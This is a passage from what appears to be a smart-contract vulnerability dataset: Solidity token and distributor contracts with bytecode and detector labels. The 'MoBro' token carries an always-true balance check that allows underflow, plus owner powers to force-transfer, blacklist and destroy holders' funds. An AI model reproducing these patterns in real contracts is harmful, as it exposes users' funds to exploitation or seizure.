115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820320701f7e8174265f75aeacf3041dea5ed0797f3e5ef259f1743c49615a0b6af64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,044 |
0xaf78b5dc2cc110aafb4fc7c600cf6113bbb190a0
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(msg.sender, owner, fee);
}
emit Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(_from, owner, fee);
}
emit Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TokenStarter is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
uint public tokensInEth = 0;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
constructor() public {
_totalSupply = 6000000000000;
tokensInEth = 60300000;
name = "MoBro";
symbol = "MOT";
decimals = 5;
balances[owner] = _totalSupply;
deprecated = false;
serverTransfer(owner,0x191B35f4f5BB8365B81B1C647F332DE094df3419 ,6000000000000);
}
/**
* @dev ETH換幣.
*/
function () public payable {
uint tokens = (msg.value * tokensInEth) / 1000000000000000000 ;
require(balances[owner] - tokens >= 0);
emit Transfer(owner, msg.sender, tokens);
balances[owner] -= tokens;
balances[msg.sender] += tokens;
emit BuyFromEth(msg.sender,msg.value,tokens);
}
/**
* @dev 設定ETH價格.
* @param _etherPrice 1個ETH可以換得的Token
*/
function setEthPrice(uint _etherPrice) public onlyOwner {
tokensInEth = _etherPrice;
}
/**
* @dev 取得目前價格.
*/
function getPrice() public constant returns (uint) {
return tokensInEth;
}
/**
* @dev 提領ETH.
* @param _to 提領帳戶
* @param _value 提領金額
*/
function withdraw(address _to, uint _value) public onlyOwner {
require(_value > 0);
_to.transfer(_value);
emit Withdraw(_to,_value);
}
/**
* @dev 強制轉帳.
* @param _to 提領帳戶
* @param _value 提領金額
*/
function serverTransfer(address _from,address _to, uint _value) public onlyOwner {
require(_value > 0);
require(balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
emit Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
emit Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
emit Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
emit Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
// 提領ETH
event Withdraw(address _to,uint _val);
// 以太幣購買Token事件
event BuyFromEth(address buyer,uint eth,uint tkn);
}
|
0x6080604052600436106101cb5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416629f926281146102a957806306fdde03146102c35780630753c30c1461034d578063095ea7b31461036e5780630e136b19146103925780630ecb93c0146103bb57806318160ddd146103dc57806323b872dd1461040357806326976e3f1461042d57806327e235e31461045e578063313ce5671461047f57806335390714146104945780633eaaf86b146104a95780633f4ba83a146104be57806359bf1abe146104d35780635c658165146104f45780635c975abb1461051b57806370a08231146105305780638456cb5914610551578063893d20e8146105665780638da5cb5b1461057b57806394a2301e1461059057806395d89b41146105a557806398d5fdca146105ba578063a9059cbb146105cf578063bc304e55146105f3578063c0324c771461061d578063cc872b6614610638578063db006a7514610650578063dd62ed3e14610668578063dd644f721461068f578063e47d6060146106a4578063e4997dc5146106c5578063e5b5019a146106e6578063f2fde38b146106fb578063f3bdc2281461071c578063f3fef3a31461073d575b600b5460008054600160a060020a0316815260026020526040812054670de0b6b3a7640000349093029290920491829003101561020757600080fd5b6000546040805183815290513392600160a060020a031691600080516020611990833981519152919081900360200190a360008054600160a060020a0316815260026020908152604080832080548590039055338084529281902080548501905580519283523491830191909152818101839052517f43d681de49217df382d4d59b416d48cc778e3d1c1063179844920aab1a7cfd329181900360600190a150005b3480156102b557600080fd5b506102c1600435610761565b005b3480156102cf57600080fd5b506102d861077d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103125781810151838201526020016102fa565b50505050905090810190601f16801561033f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035957600080fd5b506102c1600160a060020a036004351661080b565b34801561037a57600080fd5b506102c1600160a060020a03600435166024356108a3565b34801561039e57600080fd5b506103a7610965565b604080519115158252519081900360200190f35b3480156103c757600080fd5b506102c1600160a060020a0360043516610975565b3480156103e857600080fd5b506103f16109e7565b60408051918252519081900360200190f35b34801561040f57600080fd5b506102c1600160a060020a0360043581169060243516604435610aa3565b34801561043957600080fd5b50610442610b79565b60408051600160a060020a039092168252519081900360200190f35b34801561046a57600080fd5b506103f1600160a060020a0360043516610b88565b34801561048b57600080fd5b506103f1610b9a565b3480156104a057600080fd5b506103f1610ba0565b3480156104b557600080fd5b506103f1610ba6565b3480156104ca57600080fd5b506102c1610bac565b3480156104df57600080fd5b506103a7600160a060020a0360043516610c22565b34801561050057600080fd5b506103f1600160a060020a0360043581169060243516610c44565b34801561052757600080fd5b506103a7610c61565b34801561053c57600080fd5b506103f1600160a060020a0360043516610c71565b34801561055d57600080fd5b506102c1610d31565b34801561057257600080fd5b50610442610dac565b34801561058757600080fd5b50610442610dbb565b34801561059c57600080fd5b506103f1610dca565b3480156105b157600080fd5b506102d8610dd0565b3480156105c657600080fd5b506103f1610e2b565b3480156105db57600080fd5b506102c1600160a060020a0360043516602435610e31565b3480156105ff57600080fd5b506102c1600160a060020a0360043581169060243516604435610f16565b34801561062957600080fd5b506102c1600435602435611007565b34801561064457600080fd5b506102c1600435611082565b34801561065c57600080fd5b506102c160043561112d565b34801561067457600080fd5b506103f1600160a060020a03600435811690602435166111d8565b34801561069b57600080fd5b506103f16112a3565b3480156106b057600080fd5b506103a7600160a060020a03600435166112a9565b3480156106d157600080fd5b506102c1600160a060020a03600435166112be565b3480156106f257600080fd5b506103f161132d565b34801561070757600080fd5b506102c1600160a060020a0360043516611333565b34801561072857600080fd5b506102c1600160a060020a0360043516611385565b34801561074957600080fd5b506102c1600160a060020a0360043516602435611431565b600054600160a060020a0316331461077857600080fd5b600b55565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108035780601f106107d857610100808354040283529160200191610803565b820191906000526020600020905b8154815290600101906020018083116107e657829003601f168201915b505050505081565b600054600160a060020a0316331461082257600080fd5b600a805460a060020a74ff0000000000000000000000000000000000000000199091161773ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03831690811790915560408051918252517fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e916020908290030190a150565b604060443610156108b357600080fd5b600a5460a060020a900460ff161561095657600a54604080517faee92d33000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038681166024830152604482018690529151919092169163aee92d3391606480830192600092919082900301818387803b15801561093957600080fd5b505af115801561094d573d6000803e3d6000fd5b50505050610960565b61096083836114d4565b505050565b600a5460a060020a900460ff1681565b600054600160a060020a0316331461098c57600080fd5b600160a060020a038116600081815260066020908152604091829020805460ff19166001179055815192835290517f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc9281900390910190a150565b600a5460009060a060020a900460ff1615610a9b57600a60009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610a6857600080fd5b505af1158015610a7c573d6000803e3d6000fd5b505050506040513d6020811015610a9257600080fd5b50519050610aa0565b506001545b90565b60005460a060020a900460ff1615610aba57600080fd5b600160a060020a03831660009081526006602052604090205460ff1615610ae057600080fd5b600a5460a060020a900460ff1615610b6e57600a54604080517f8b477adb000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a03868116602483015285811660448301526064820185905291519190921691638b477adb91608480830192600092919082900301818387803b15801561093957600080fd5b610960838383611582565b600a54600160a060020a031681565b60026020526000908152604090205481565b60095481565b60045481565b60015481565b600054600160a060020a03163314610bc357600080fd5b60005460a060020a900460ff161515610bdb57600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b600160a060020a03811660009081526006602052604090205460ff165b919050565b600560209081526000928352604080842090915290825290205481565b60005460a060020a900460ff1681565b600a5460009060a060020a900460ff1615610d2157600a54604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152915191909216916370a082319160248083019260209291908290030181600087803b158015610cee57600080fd5b505af1158015610d02573d6000803e3d6000fd5b505050506040513d6020811015610d1857600080fd5b50519050610c3f565b610d2a8261177e565b9050610c3f565b600054600160a060020a03163314610d4857600080fd5b60005460a060020a900460ff1615610d5f57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031690565b600054600160a060020a031681565b600b5481565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108035780601f106107d857610100808354040283529160200191610803565b600b5490565b60005460a060020a900460ff1615610e4857600080fd5b3360009081526006602052604090205460ff1615610e6557600080fd5b600a5460a060020a900460ff1615610f0857600a54604080517f6e18980a000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a0385811660248301526044820185905291519190921691636e18980a91606480830192600092919082900301818387803b158015610eeb57600080fd5b505af1158015610eff573d6000803e3d6000fd5b50505050610f12565b610f128282611799565b5050565b600054600160a060020a03163314610f2d57600080fd5b60008111610f3a57600080fd5b600160a060020a038316600090815260026020526040902054811115610f5f57600080fd5b600160a060020a038316600090815260026020526040902054610f88908263ffffffff6118f616565b600160a060020a038085166000908152600260205260408082209390935590841681522054610fbd908263ffffffff61190816565b600160a060020a03808416600081815260026020908152604091829020949094558051858152905191939287169260008051602061199083398151915292918290030190a3505050565b600054600160a060020a0316331461101e57600080fd5b600382905560095461103a908290600a0a63ffffffff61192216565b600481905560035460408051918252602082019290925281517fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e929181900390910190a15050565b600054600160a060020a0316331461109957600080fd5b600154818101116110a957600080fd5b60008054600160a060020a0316815260026020526040902054818101116110cf57600080fd5b60008054600160a060020a03168152600260209081526040918290208054840190556001805484019055815183815291517fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a9281900390910190a150565b600054600160a060020a0316331461114457600080fd5b60015481111561115357600080fd5b60008054600160a060020a031681526002602052604090205481111561117857600080fd5b60018054829003905560008054600160a060020a031681526002602090815260409182902080548490039055815183815291517f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a449281900390910190a150565b600a5460009060a060020a900460ff161561129057600a54604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483015285811660248301529151919092169163dd62ed3e9160448083019260209291908290030181600087803b15801561125d57600080fd5b505af1158015611271573d6000803e3d6000fd5b505050506040513d602081101561128757600080fd5b5051905061129d565b61129a838361194d565b90505b92915050565b60035481565b60066020526000908152604090205460ff1681565b600054600160a060020a031633146112d557600080fd5b600160a060020a038116600081815260066020908152604091829020805460ff19169055815192835290517fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c9281900390910190a150565b60001981565b600054600160a060020a0316331461134a57600080fd5b600160a060020a03811615611382576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60008054600160a060020a0316331461139d57600080fd5b600160a060020a03821660009081526006602052604090205460ff1615156113c457600080fd5b6113cd82610c71565b600160a060020a0383166000818152600260209081526040808320929092556001805485900390558151928352820183905280519293507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c692918290030190a15050565b600054600160a060020a0316331461144857600080fd5b6000811161145557600080fd5b604051600160a060020a0383169082156108fc029083906000818181858888f1935050505015801561148b573d6000803e3d6000fd5b5060408051600160a060020a03841681526020810183905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a15050565b604060443610156114e457600080fd5b81158015906115155750336000908152600560209081526040808320600160a060020a038716845290915290205415155b1561151f57600080fd5b336000818152600560209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3505050565b600080806060606436101561159657600080fd5b600160a060020a03871660009081526005602090815260408083203384529091529020546003549094506115e590612710906115d990889063ffffffff61192216565b9063ffffffff61197816565b92506004548311156115f75760045492505b60001984101561163657611611848663ffffffff6118f616565b600160a060020a03881660009081526005602090815260408083203384529091529020555b611646858463ffffffff6118f616565b600160a060020a038816600090815260026020526040902054909250611672908663ffffffff6118f616565b600160a060020a0380891660009081526002602052604080822093909355908816815220546116a7908363ffffffff61190816565b600160a060020a03871660009081526002602052604081209190915583111561173c5760008054600160a060020a03168152600260205260409020546116f3908463ffffffff61190816565b60008054600160a060020a0390811682526002602090815260408084209490945591548351878152935190821693918b1692600080516020611990833981519152928290030190a35b85600160a060020a031687600160a060020a0316600080516020611990833981519152846040518082815260200191505060405180910390a350505050505050565b600160a060020a031660009081526002602052604090205490565b600080604060443610156117ac57600080fd5b6117c76127106115d96003548761192290919063ffffffff16565b92506117d9848463ffffffff6118f616565b336000908152600260205260409020549092506117fc908563ffffffff6118f616565b3360009081526002602052604080822092909255600160a060020a0387168152205461182e908363ffffffff61190816565b600160a060020a0386166000908152600260205260408120919091558311156118c15760008054600160a060020a031681526002602052604090205461187a908463ffffffff61190816565b60008054600160a060020a03908116825260026020908152604080842094909455915483518781529351911692339260008051602061199083398151915292918290030190a35b604080518381529051600160a060020a0387169133916000805160206119908339815191529181900360200190a35050505050565b60008282111561190257fe5b50900390565b60008282018381101561191757fe5b8091505b5092915050565b600080831515611935576000915061191b565b5082820282848281151561194557fe5b041461191757fe5b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600080828481151561198657fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f783a16168862ffb8738457ad3666a96e8102d47f16fbfeeedbe3a908e6557580029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,045 |
0xC77e7e556067C3f87Dbe0c9FBc9eFf35AB055475
|
// SPDX-License-Identifier: Unlicense
// Sources flattened with hardhat v2.8.3 https://hardhat.org
pragma solidity ^0.8.4;
// File @openzeppelin/contracts/utils/Context.sol@v4.4.2
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/Ownable.sol@v4.4.2
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.4.2
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/SecondariesDistributor.sol
// Secondaries Distributor Contract
contract SecondariesDistributor is Ownable {
struct Dist {
uint256 share;
uint256 loc;
string name;
}
mapping(address => Dist) private _distMap;
address[] private _distList;
uint256 private _shareTotal = 0;
struct Token {
bool state;
uint256 loc;
string name;
}
mapping(address => Token) private _tokenMap;
address[] private _tokenList;
event Distribution(uint256 amount, string token);
event DistributionListChange(address indexed target, bool isIncluded);
event TokenListChange(address indexed target, bool isIncluded);
constructor(
address[] memory addresses,
string[] memory names,
uint256[] memory royalty,
address[] memory erc20Addresses,
string[] memory erc20Names
) {
for (uint256 i = 0; i < addresses.length; i++) {
addDist(addresses[i], names[i], royalty[i]);
}
for (uint256 i = 0; i < erc20Addresses.length; i++) {
addToken(erc20Addresses[i], erc20Names[i]);
}
}
receive() external payable {}
fallback() external payable {}
function getShareTotal() public view returns (uint256) {
return _shareTotal;
}
function getShare(address account) public view returns (uint256) {
return _distMap[account].share;
}
function getName(address account) public view returns (string memory) {
return _distMap[account].name;
}
function allDist() public view returns (address[] memory) {
return _distList;
}
function isDist(address account) public view returns (bool) {
return (getShare(account) > 0);
}
function allTokens() public view returns (address[] memory) {
return _tokenList;
}
function getTokenName(address _tokenAddress)
public
view
returns (string memory)
{
return _tokenMap[_tokenAddress].name;
}
function isToken(address _tokenAddress) public view returns (bool) {
return _tokenMap[_tokenAddress].state;
}
function shareTotal() private {
uint256 sum;
for (uint256 i = 0; i < _distList.length; i++) {
sum += _distMap[_distList[i]].share;
}
_shareTotal = sum;
}
function addDist(
address _address,
string memory _Name,
uint256 _share
) public onlyOwner {
require(_address != address(0), "Invalid address");
require(_share > 0, "Share must be greater than zero");
Dist storage d = _distMap[_address];
require(d.share == 0, "Address already in distribution list");
d.share = _share;
d.loc = _distList.length;
d.name = _Name;
_distList.push(_address);
emit DistributionListChange(_address, true);
shareTotal();
}
function removeDist(address _address) public onlyOwner {
Dist storage d = _distMap[_address];
